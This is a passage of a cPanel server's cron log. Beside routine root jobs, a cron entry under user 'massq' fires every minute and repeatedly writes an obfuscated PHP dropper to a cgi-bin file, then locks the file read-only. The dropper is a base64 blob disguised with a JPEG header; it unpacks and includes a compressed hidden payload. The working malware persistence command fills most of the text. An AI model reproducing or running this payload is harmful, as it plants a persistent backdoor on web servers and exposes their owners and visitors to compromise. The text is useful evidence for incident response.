"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:20:01 server CROND[7370]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 20:20:01 server CROND[7371]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 20:20:01 server CROND[7372]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 20:20:01 server CROND[7373]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 20:20:01 server CROND[7379]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:21:01 server CROND[7473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:22:01 server CROND[7511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:23:01 server CROND[7574]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:24:01 server CROND[7948]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:25:01 server CROND[8269]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:25:01 server CROND[8272]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr 11 20:25:01 server CROND[8270]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 20:25:01 server CROND[8271]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 20:26:01 server CROND[8395]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:27:01 server CROND[8452]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 20:27:01 server CROND[8453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:28:01 server CROND[8528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:29:01 server CROND[8583]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:30:01 server CROND[8751]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 20:30:01 server CROND[8749]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr 11 20:30:01 server CROND[8752]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 20:30:01 server CROND[8750]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 20:30:01 server CROND[8753]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:31:01 server CROND[8873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 20:32:01 server CROND[8925]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRm